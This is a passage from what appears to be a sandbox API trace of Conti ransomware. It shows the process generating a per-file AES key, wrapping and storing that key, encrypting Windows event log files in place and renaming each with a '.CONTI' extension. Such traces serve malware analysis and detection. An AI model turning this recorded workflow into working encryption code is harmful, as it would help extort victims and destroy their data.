	[0095.215] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.215] WriteFile (in: hFile=0x35c, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0095.215] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.215] CloseHandle (hObject=0x35c) returned 1
	[0095.217] GetProcessHeap () returned 0x1720000
	[0095.217] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0095.217] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx"
	[0095.217] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.CONTI"
	[0095.217] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx.conti")) returned 1
	[0095.218] GetProcessHeap () returned 0x1720000
	[0095.218] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0095.218] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0095.218] GetProcessHeap () returned 0x1720000
	[0095.218] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bff00 | out: hHeap=0x1720000) returned 1
	[0095.218] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0095.493] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d4680 | out: phKey=0x17d4680*=0x17c8330) returned 1
	[0095.493] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4684, pdwDataLen=0x4bffe94 | out: pbData=0x17d4684*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0095.494] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20
	[0096.491] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0096.491] GetLastError () returned 0x0
	[0096.491] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=69632) returned 1
	[0096.492] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.498] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.498] SetEndOfFile (hFile=0x374) returned 1
	[0096.498] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.498] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.498] WriteFile (in: hFile=0x374, lpBuffer=0x17d4684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d4684*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.519] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.520] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.525] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11010) returned 1
	[0096.525] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.526] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x11010, lpOverlapped=0x0) returned 1
	[0096.526] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.526] WriteFile (in: hFile=0x374, lpBuffer=0x17d4678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d4678*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0096.526] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.526] CloseHandle (hObject=0x374) returned 1
	[0096.527] GetProcessHeap () returned 0x1720000
	[0096.528] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.528] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx"
	[0096.528] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.CONTI"
	[0096.528] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.conti")) returned 1
	[0096.528] GetProcessHeap () returned 0x1720000
	[0096.528] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.528] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0096.528] GetProcessHeap () returned 0x1720000
	[0096.528] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0538 | out: hHeap=0x1720000) returned 1
	[0096.528] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0096.529] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d8440 | out: phKey=0x17d8440*=0x17c8330) returned 1
	[0096.529] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d8444, pdwDataLen=0x4bffe94 | out: pbData=0x17d8444*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0096.529] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20
	[0096.529] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0096.529] GetLastError () returned 0x0
	[0096.530] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=69632) returned 1
	[0096.530] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.530] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.530] SetEndOfFile (hFile=0x374) returned 1
	[0096.530] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.530] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.530] WriteFile (in: hFile=0x374, lpBuffer=0x17d8444*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d8444*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.531] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.531] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.533] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11010) returned 1
	[0096.533] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.533] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x11010, lpOverlapped=0x0) returned 1
	[0096.533] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.533] WriteFile (in: hFile=0x374, lpBuffer=0x17d8438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d8438*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0096.533] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.533] CloseHandle (hObject=0x374) returned 1
	[0096.535] GetProcessHeap () returned 0x1720000
	[0096.535] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.535] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx"
	[0096.535] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.CONTI"
	[0096.535] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.conti")) returned 1
	[0096.535] GetProcessHeap () returned 0x1720000
	[0096.535] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.535] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0096.535] GetProcessHeap () returned 0x1720000
	[0096.536] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0f08 | out: hHeap=0x1720000) returned 1
	[0096.536] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0096.536] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d8fa8 | out: phKey=0x17d8fa8*=0x17c8330) returned 1
	[0096.536] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d8fac, pdwDataLen=0x4bffe94 | out: pbData=0x17d8fac*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0096.536] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20
	[0096.537] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0096.537] GetLastError () returned 0x0
	[0096.537] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=69632) returned 1
	[0096.537] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.537] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.537] SetEndOfFile (hFile=0x374) returned 1
	[0096.538] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.538] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.538] WriteFile (in: hFile=0x374, lpBuffer=0x17d8fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d8fac*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.539] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.539] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.540] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11010) returned 1
	[0096.540] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.540] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x11010, lpOverlapped=0x0) returned 1
	[0096.540] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.540] WriteFile (in: hFile=0x374, lpBuffer=0x17d8fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d8fa0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0096.540] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.541] CloseHandle (hObject=0x374) returned 1
	[0096.542] GetProcessHeap () returned 0x1720000
	[0096.542] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.542] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx"
	[0096.542] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.CONTI"
	[0096.542] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.conti")) returned 1
	[0096.551] GetProcessHeap () returned 0x1720000
	[0096.551] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.551] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0096.551] GetProcessHeap () returned 0x1720000
	[0096.551] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0096.551] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0096.551] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d78d8 | out: phKey=0x17d78d8*=0x17c8330) returned 1
	[0096.551] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d78dc, pdwDataLen=0x4bffe94 | out: pbData=0x17d78dc*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0096.552] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20
	[0096.552] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0096.552] GetLastError () returned 0x0
	[0096.552] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=69632) returned 1
	[0096.552] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.552] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.552] SetEndOfFile (hFile=0x374) returned 1
	[0096.553] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.553] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.553] WriteFile (in: hFile=0x374, lpBuffer=0x17d78dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x17d78dc*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.554] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.554] ReadFile (in: hFile=0x374, lpBuffer=0xda50000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.555] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11000, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x11010) returned 1
	[0096.555] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.555] WriteFile (in: hFile=0x374, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x11010, lpOverlapped=0x0) returned 1
	[0096.555] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.555] WriteFile (in: hFile=0x374, lpBuffer=0x17d78d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x17d78d0*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0096.555] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.556] CloseHandle (hObject=0x374) returned 1
	[0096.557] GetProcessHeap () returned 0x1720000
	[0096.557] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.557] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx"
	[0096.557] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.CONTI"
	[0096.557] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.conti")) returned 1
	[0096.561] GetProcessHeap () returned 0x1720000
	[0096.561] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.561] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0096.561] GetProcessHeap () returned 0x1720000
	[0096.561] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740910 | out: hHeap=0x1720000) returned 1
	[0096.561] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0096.561] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x17d91f0 | out: phKey=0x17d91f0*=0x17c8330) returned 1
	[0096.561] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d91f4, pdwDataLen=0x4bffe94 | out: pbData=0x17d91f4*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0096.562] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20
	[0096.562] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0096.562] GetLastError () returned 0x0
	[0096.562] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=69632) returned 1
	[0096.562] SetFilePointer (in: hFile=0x374, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.562] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.562] SetEndOfFile (hFile=0x374) returned 1
